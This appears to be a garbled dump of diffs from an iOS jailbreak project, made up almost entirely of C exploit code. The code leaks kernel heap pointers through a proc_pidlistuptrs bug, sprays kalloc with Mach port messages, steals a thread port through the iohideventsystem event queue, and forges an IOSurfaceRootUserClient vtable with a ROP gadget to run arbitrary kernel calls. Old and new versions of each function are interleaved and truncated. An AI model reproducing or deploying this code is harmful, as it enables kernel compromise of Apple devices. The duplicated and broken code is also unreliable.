kqueues_allocated = 1;
}
// will make a kalloc allocation of (count*8)+7
// and only write to the first (count*8) bytes.
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
// (the upper byte will be set to 0)
static uint64_t try_leak(int count)
{
int buf_size = (count * 8) + 7;
char* buf = calloc(buf_size + 1, 1);
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
if (err == -1) {
return 0;
}
// the last 7 bytes will contain the leaked data:
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
return last_val;
static uint64_t try_leak(int count) {
int buf_size = (count*8)+7;
char* buf = calloc(buf_size+1, 1);
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
if (err == -1) {
return 0;
}
// the last 7 bytes will contain the leaked data:
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
return last_val;
}
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
{
// allocate a port to send the message to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
exit(EXIT_FAILURE);
}
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message: %s", mach_error_string(err));
exit(EXIT_FAILURE);
}
return q;
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
// allocate a port to send the message to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port\n");
exit(EXIT_FAILURE);
}
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
return q;
}
static int uint64_t_compare(const void* a, const void* b)
{
uint64_t a_val = (*(uint64_t*)a);
uint64_t b_val = (*(uint64_t*)b);
if (a_val < b_val) {
return -1;
}
if (a_val == b_val) {
return 0;
}
return 1;
static int uint64_t_compare(const void* a, const void* b) {
uint64_t a_val = (*(uint64_t*)a);
uint64_t b_val = (*(uint64_t*)b);
if (a_val < b_val) {
return -1;
}
if (a_val == b_val) {
return 0;
}
return 1;
}
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
{
prepare_kqueue();
int n_guesses = 100;
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
int valid_guesses = 0;
for (int i = 1; i < n_guesses + 1; i++) {
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
mach_port_destroy(mach_task_self(), q);
uint64_t leaked = try_leak(i - 1);
//LOG("leaked %016llx", leaked);
// a valid guess is one which looks a bit like a kernel heap pointer
// without the upper byte:
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
guesses[valid_guesses++] = leaked | 0xff00000000000000;
}
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
prepare_kqueue();
int n_guesses = 100;
uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
int valid_guesses = 0;
for (int i = 1; i < n_guesses+1; i++) {
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
mach_port_destroy(mach_task_self(), q);
uint64_t leaked = try_leak(i-1);
//LOG("leaked %016llx\n", leaked);
// a valid guess is one which looks a bit like a kernel heap pointer
// without the upper byte:
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
guesses[valid_guesses++] = leaked | 0xff00000000000000;
}
if (valid_guesses == 0) {
LOG("couldn't leak any kernel pointers");
exit(EXIT_FAILURE);
}
if (valid_guesses == 0) {
LOG("couldn't leak any kernel pointers\n");
exit(EXIT_FAILURE);
}
// return the most frequent guess
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
uint64_t best_guess = guesses[0];
int best_guess_count = 1;
uint64_t current_guess = guesses[0];
int current_guess_count = 1;
for (int i = 1; i < valid_guesses; i++) {
if (guesses[i] == guesses[i-1]) {
current_guess_count++;
if (current_guess_count > best_guess_count) {
best_guess = current_guess;
best_guess_count = current_guess_count;
}
} else {
current_guess = guesses[i];
current_guess_count = 1;
}
// return the most frequent guess
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
uint64_t best_guess = guesses[0];
int best_guess_count = 1;
uint64_t current_guess = guesses[0];
int current_guess_count = 1;
for (int i = 1; i < valid_guesses; i++) {
if (guesses[i] == guesses[i - 1]) {
current_guess_count++;
if (current_guess_count > best_guess_count) {
best_guess = current_guess;
best_guess_count = current_guess_count;
}
} else {
current_guess = guesses[i];
current_guess_count = 1;
}
}
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
free(guesses);
return best_guess;
}
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
free(guesses);
return best_guess;
}
uint64_t find_port_via_kmem_read(mach_port_name_t port)
{
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
uint64_t find_port_via_kmem_read(mach_port_name_t port) {
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
uint64_t find_port_address(mach_port_t port, int disposition)
{
if (have_kmem_read()) {
return find_port_via_kmem_read(port);
}
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
uint64_t find_port_address(mach_port_t port, int disposition) {
if (have_kmem_read()) {
return find_port_via_kmem_read(port);
}
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
}
+271 -266
View File
@@ -27,288 +27,293 @@
#include <common.h>
kern_return_t mach_vm_map(
vm_map_t target_task,
mach_vm_address_t* address,
mach_vm_size_t size,
mach_vm_offset_t mask,
int flags,
mem_entry_name_port_t object,
memory_object_offset_t offset,
boolean_t copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance);
kern_return_t mach_vm_map
(
vm_map_t target_task,
mach_vm_address_t *address,
mach_vm_size_t size,
mach_vm_offset_t mask,
int flags,
mem_entry_name_port_t object,
memory_object_offset_t offset,
boolean_t copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance
);
kern_return_t mach_vm_deallocate
(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size
);
kern_return_t mach_vm_deallocate(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
kern_return_t
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t* sp);
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t *sp);
// missing io_hideventsystem MIG prototypes, link again IOKit.framework for the symbols
kern_return_t io_hideventsystem_open(
mach_port_t service,
mach_port_t our_task,
int type,
void* bplist,
int bplist_len,
int zero0,
int zero1,
mach_port_t a_receive_right,
mach_port_t* connection);
mach_port_t service,
mach_port_t our_task,
int type,
void* bplist,
int bplist_len,
int zero0,
int zero1,
mach_port_t a_receive_right,
mach_port_t* connection);
kern_return_t io_hideventsystem_clear_service_cache(
mach_port_t service_connection);
mach_port_t service_connection);
kern_return_t io_hideventsystem_copy_matching_services(
mach_port_t service_connection,
void* matching,
int matching_len,
void** matching_out,
int* matching_out_len,
void** service_ids_out,
int* service_ids_out_len);
mach_port_t service_connection,
void* matching,
int matching_len,
void** matching_out,
int* matching_out_len,
void** service_ids_out,
int* service_ids_out_len);
kern_return_t io_hideventsystem_queue_create(
mach_port_t service_connection,
mach_port_t notification_port,
int queue_size,
mach_port_t* queue_memory_entry);
mach_port_t service_connection,
mach_port_t notification_port,
int queue_size,
mach_port_t* queue_memory_entry);
kern_return_t io_hideventsystem_queue_start(
mach_port_t service_connection);
mach_port_t service_connection);
kern_return_t io_hideventsystem_queue_stop(
mach_port_t service_connection);
mach_port_t service_connection);
mach_port_t hid_event_queue_exploit()
{
kern_return_t err;
/* connect to the com.apple.iohideventsystem service */
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
LOG("failed to lookup service");
exit(EXIT_FAILURE);
}
LOG("got service port: 0x%x", service_port);
/* open a client connection */
mach_port_t a_receive_right = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
if (err != KERN_SUCCESS) {
LOG("failed to allocate receive right");
exit(EXIT_FAILURE);
}
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
LOG("allocated a receive right 0x%x, we'll give hideventsystem a send to this", a_receive_right);
mach_port_t connection_port = MACH_PORT_NULL;
err = io_hideventsystem_open(
service_port,
mach_task_self(),
3,
NULL,
0,
0,
0,
a_receive_right,
&connection_port);
LOG("err: %x", err);
LOG("connection_port: %x", connection_port);
LOG("a_receive_right: %x", a_receive_right);
if (err != KERN_SUCCESS) {
LOG("failed to open hideventsystem connection");
exit(EXIT_FAILURE);
}
/* clear the cache */
err = io_hideventsystem_clear_service_cache(connection_port);
if (err != KERN_SUCCESS) {
LOG("failed to clear service cache, err: %x", err);
exit(EXIT_FAILURE);
}
/* select the list of desired devices */
void* matching_out = NULL;
int matching_out_len = 0;
void* service_ids_out = NULL;
int service_ids_out_len = 0;
err = io_hideventsystem_copy_matching_services(
connection_port,
NULL,
0,
&matching_out,
&matching_out_len,
&service_ids_out,
&service_ids_out_len);
if (err != KERN_SUCCESS) {
LOG("failed to copy matching services, err: %x", err);
exit(EXIT_FAILURE);
}
if (matching_out != NULL) {
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
}
if (service_ids_out != NULL) {
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
}
LOG("copied matching services");
mach_port_t notification_port = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &notification_port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate receive right for notification port");
exit(EXIT_FAILURE);
}
LOG("allocated a recieve right for notifications: 0x%x", notification_port);
mach_port_t queue_memory_entry = MACH_PORT_NULL;
err = io_hideventsystem_queue_create(
connection_port,
notification_port,
0x8000,
&queue_memory_entry);
if (err != KERN_SUCCESS) {
LOG("failed to create queue, err: %x", err);
exit(EXIT_FAILURE);
}
LOG("queue memory entry port: 0x%x", queue_memory_entry);
LOG("pid %d", getpid());
// map the queue:
mach_vm_address_t queue_address = 0;
err = mach_vm_map(
mach_task_self(),
&queue_address, // &address
(mach_vm_size_t)0x9000, // size
0xfff, // mask
1, // flags
queue_memory_entry, // object
0, // offset
0, // copy
3, // cur_prot
3, // max_prot
2); // inheritance
if (err != KERN_SUCCESS) {
LOG("mach_vm_map failed: %x", err);
exit(EXIT_FAILURE);
}
LOG("mapped queue: %p", (void*)queue_address);
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
LOG("got the shared memory msg mapped at: %p", shm_msg);
LOG("%08x %08x %08x", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
LOG("%08x %08x %08x", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
uint32_t saved_bits = shm_msg->msgh_bits;
uint32_t saved_local_port = shm_msg->msgh_local_port;
uint32_t saved_msgh_id = shm_msg->msgh_id;
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
shm_msg->msgh_id = 0x12341234;
// start the queue
err = io_hideventsystem_queue_start(
connection_port);
if (err != KERN_SUCCESS) {
LOG("failed to start the event queue");
}
LOG("started queue");
// wait to receive a message
LOG("if nothing happens here for a while, interact with the screen");
mach_msg_header_t* received_msg = malloc(0x1000);
err = mach_msg(
received_msg,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
0x1000,
notification_port,
0,
0);
LOG("mach_msg returned");
if (err != KERN_SUCCESS) {
LOG("tried to receive a message on the notification port but failed, err: %x", err);
exit(EXIT_FAILURE);
}
LOG("msgh_id of received notification message: %x", received_msg->msgh_id);
LOG("did we get an interesting port? 0x%x", received_msg->msgh_remote_port);
mach_port_t stolen_port = received_msg->msgh_remote_port;
// let's get the type of that port
natural_t ktype = 0;
mach_vm_address_t kaddr = 0;
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
if (err != KERN_SUCCESS) {
LOG("unable to get mach port ktype");
sleep(100);
}
LOG("kernel object type: %d", ktype);
// is that a thread port?
if (ktype != 1) {
LOG("not a thread port...");
}
// cleanup:
// fix up the message:
shm_msg->msgh_bits = saved_bits;
shm_msg->msgh_local_port = saved_local_port;
shm_msg->msgh_id = saved_msgh_id;
err = io_hideventsystem_queue_stop(connection_port);
if (err != KERN_SUCCESS) {
LOG("unable to stop the queue");
}
// unmap the queue
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
// drop the resources:
mach_port_deallocate(mach_task_self(), queue_memory_entry);
mach_port_deallocate(mach_task_self(), connection_port);
mach_port_destroy(mach_task_self(), notification_port);
mach_port_destroy(mach_task_self(), a_receive_right);
mach_port_deallocate(mach_task_self(), service_port);
return stolen_port;
mach_port_t hid_event_queue_exploit() {
kern_return_t err;
/* connect to the com.apple.iohideventsystem service */
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
LOG("failed to lookup service\n");
exit(EXIT_FAILURE);
}
LOG("got service port: 0x%x\n", service_port);
/* open a client connection */
mach_port_t a_receive_right = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
if (err != KERN_SUCCESS) {
LOG("failed to allocate receive right\n");
exit(EXIT_FAILURE);
}
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
LOG("allocated a receive right 0x%x, we'll give hideventsystem a send to this\n", a_receive_right);
mach_port_t connection_port = MACH_PORT_NULL;
err = io_hideventsystem_open(
service_port,
mach_task_self(),
3,
NULL,
0,
0,
0,
a_receive_right,
&connection_port);
LOG("err: %x\n", err);
LOG("connection_port: %x\n", connection_port);
LOG("a_receive_right: %x\n", a_receive_right);
if (err != KERN_SUCCESS) {
LOG("failed to open hideventsystem connection\n");
exit(EXIT_FAILURE);
}
/* clear the cache */
err = io_hideventsystem_clear_service_cache(connection_port);
if (err != KERN_SUCCESS) {
LOG("failed to clear service cache, err: %x\n", err);
exit(EXIT_FAILURE);
}
/* select the list of desired devices */
void* matching_out = NULL;
int matching_out_len = 0;
void* service_ids_out = NULL;
int service_ids_out_len = 0;
err = io_hideventsystem_copy_matching_services(
connection_port,
NULL,
0,
&matching_out,
&matching_out_len,
&service_ids_out,
&service_ids_out_len);
if (err != KERN_SUCCESS) {
LOG("failed to copy matching services, err: %x\n", err);
exit(EXIT_FAILURE);
}
if (matching_out != NULL) {
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
}
if (service_ids_out != NULL) {
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
}
LOG("copied matching services\n");
mach_port_t notification_port = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &notification_port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate receive right for notification port\n");
exit(EXIT_FAILURE);
}
LOG("allocated a recieve right for notifications: 0x%x\n", notification_port);
mach_port_t queue_memory_entry = MACH_PORT_NULL;
err = io_hideventsystem_queue_create(
connection_port,
notification_port,
0x8000,
&queue_memory_entry);
if (err != KERN_SUCCESS) {
LOG("failed to create queue, err: %x\n", err);
exit(EXIT_FAILURE);
}
LOG("queue memory entry port: 0x%x\n", queue_memory_entry);
LOG("pid %d\n", getpid());
// map the queue:
mach_vm_address_t queue_address = 0;
err = mach_vm_map(
mach_task_self(),
&queue_address, // &address
(mach_vm_size_t)0x9000, // size
0xfff, // mask
1, // flags
queue_memory_entry, // object
0, // offset
0, // copy
3, // cur_prot
3, // max_prot
2);// inheritance
if (err != KERN_SUCCESS) {
LOG("mach_vm_map failed: %x\n", err);
exit(EXIT_FAILURE);
}
LOG("mapped queue: %p\n", (void*)queue_address);
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
LOG("got the shared memory msg mapped at: %p\n", shm_msg);
LOG("%08x %08x %08x\n", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
LOG("%08x %08x %08x\n", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
uint32_t saved_bits = shm_msg->msgh_bits;
uint32_t saved_local_port = shm_msg->msgh_local_port;
uint32_t saved_msgh_id = shm_msg->msgh_id;
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
shm_msg->msgh_id = 0x12341234;
// start the queue
err = io_hideventsystem_queue_start(
connection_port);
if (err != KERN_SUCCESS) {
LOG("failed to start the event queue\n");
}
LOG("started queue\n");
// wait to receive a message
LOG("if nothing happens here for a while, interact with the screen\n");
mach_msg_header_t* received_msg = malloc(0x1000);
err = mach_msg(
received_msg,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
0x1000,
notification_port,
0,
0);
LOG("mach_msg returned\n");
if (err != KERN_SUCCESS) {
LOG("tried to receive a message on the notification port but failed, err: %x\n", err);
exit(EXIT_FAILURE);
}
LOG("msgh_id of received notification message: %x\n", received_msg->msgh_id);
LOG("did we get an interesting port? 0x%x\n", received_msg->msgh_remote_port);
mach_port_t stolen_port = received_msg->msgh_remote_port;
// let's get the type of that port
natural_t ktype = 0;
mach_vm_address_t kaddr = 0;
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
if (err != KERN_SUCCESS) {
LOG("unable to get mach port ktype\n");
sleep(100);
}
LOG("kernel object type: %d\n", ktype);
// is that a thread port?
if (ktype != 1) {
LOG("not a thread port...\n");
}
// cleanup:
// fix up the message:
shm_msg->msgh_bits = saved_bits;
shm_msg->msgh_local_port = saved_local_port;
shm_msg->msgh_id = saved_msgh_id;
err = io_hideventsystem_queue_stop(connection_port);
if (err != KERN_SUCCESS) {
LOG("unable to stop the queue\n");
}
// unmap the queue
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
// drop the resources:
mach_port_deallocate(mach_task_self(), queue_memory_entry);
mach_port_deallocate(mach_task_self(), connection_port);
mach_port_destroy(mach_task_self(), notification_port);
mach_port_destroy(mach_task_self(), a_receive_right);
mach_port_deallocate(mach_task_self(), service_port);
return stolen_port;
}
+2 -2
View File
@@ -1,7 +1,7 @@
#include <inttypes.h>
#include <mach/mach.h>
#include <inttypes.h>
mach_port_t prepare_user_client(void);
void init_kexecute(void);
void init_kexecute(uint64_t add_x0_x0_0x40_ret);
void term_kexecute(void);
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
+47 -48
View File
@@ -1,32 +1,33 @@
#include "KernelExecution.h"
#include "KernelMemory.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include <pthread.h>
#include <QiLin.h>
#include <common.h>
#include <iokit.h>
#include <pthread.h>
#include "kmem.h"
#include "kexecute.h"
#include "offsets.h"
mach_port_t prepare_user_client()
{
mach_port_t prepare_user_client() {
kern_return_t err;
mach_port_t user_client;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (service == IO_OBJECT_NULL) {
LOG("unable to find service");
LOG("unable to find service\n");
exit(EXIT_FAILURE);
}
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
if (err != KERN_SUCCESS) {
LOG("unable to get user client connection");
LOG("unable to get user client connection\n");
exit(EXIT_FAILURE);
}
LOG("got user client: 0x%x", user_client);
LOG("got user client: 0x%x\n", user_client);
return user_client;
}
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
pthread_mutex_t kexecute_lock;
static mach_port_t user_client;
static uint64_t IOSurfaceRootUserClient_port;
@@ -35,78 +36,76 @@ static uint64_t fake_vtable;
static uint64_t fake_client;
const int fake_kalloc_size = 0x1000;
void init_kexecute()
{
void init_kexecute(uint64_t add_x0_x0_0x40_ret) {
user_client = prepare_user_client();
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
IOSurfaceRootUserClient_port = getAddressOfPort(getpid(), user_client); // UserClients are just mach_ports, so we find its address
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
uint64_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
fake_vtable = kmem_alloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
WriteKernel64(fake_vtable+i*8, ReadKernel64(IOSurfaceRootUserClient_vtab+i*8));
}
// Create the fake user client
fake_client = kmem_alloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
WriteKernel64(fake_client+i*8, ReadKernel64(IOSurfaceRootUserClient_addr+i*8));
}
// Write our fake vtable into the fake user client
WriteKernel64(fake_client, fake_vtable);
// Replace the user client with ours
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
// Now the userclient port we have will look into our fake user client rather than the old one
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
WriteKernel64(fake_vtable + 8 * 0xB7, GETOFFSET(add_x0_x0_0x40_ret));
WriteKernel64(fake_vtable+8*0xB7, add_x0_x0_0x40_ret);
pthread_mutex_init(&kexecute_lock, NULL);
}
void term_kexecute()
{
void term_kexecute() {
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
kmem_free(fake_vtable, fake_kalloc_size);
kmem_free(fake_client, fake_kalloc_size);
}
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6)
{
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
pthread_mutex_lock(&kexecute_lock);
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
// through like normal.
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
// (i'm not actually sure if the switch back is necessary but meh)
uint64_t offx20 = ReadKernel64(fake_client + 0x40);
uint64_t offx28 = ReadKernel64(fake_client + 0x48);
WriteKernel64(fake_client + 0x40, x0);
WriteKernel64(fake_client + 0x48, addr);
uint64_t returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
WriteKernel64(fake_client + 0x40, offx20);
WriteKernel64(fake_client + 0x48, offx28);
uint64_t offx20 = ReadKernel64(fake_client+0x40);
uint64_t offx28 = ReadKernel64(fake_client+0x48);
WriteKernel64(fake_client+0x40, x0);
WriteKernel64(fake_client+0x48, addr);
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
WriteKernel64(fake_client+0x40, offx20);
WriteKernel64(fake_client+0x48, offx28);
pthread_mutex_unlock(&kexecute_lock);
return returnval;
}
@@ -1,44 +1,38 @@
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <mach/mach.h>
#include "KernelMemory.h"
#include "KernelUtilities.h"
#include "kmem.h"
#include "kutils.h"
#include <common.h>
// the exploit bootstraps the full kernel memory read/write with a fake
// task which just allows reading via the bsd_info->pid trick
// this first port is kmem_read_port
mach_port_t kmem_read_port = MACH_PORT_NULL;
void prepare_rk_via_kmem_read_port(mach_port_t port)
{
void prepare_rk_via_kmem_read_port(mach_port_t port) {
kmem_read_port = port;
}
mach_port_t tfp0 = MACH_PORT_NULL;
void prepare_rwk_via_tfp0(mach_port_t port)
{
void prepare_rwk_via_tfp0(mach_port_t port) {
tfp0 = port;
}
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
{
tfp0 = fake_tfp0;
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) {
tfp0 = fake_tfp0;
}
bool have_kmem_read()
{
int have_kmem_read() {
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
}
bool have_kmem_write()
{
int have_kmem_write() {
return (tfp0 != MACH_PORT_NULL);
}
size_t kread(uint64_t where, void* p, size_t size)
{
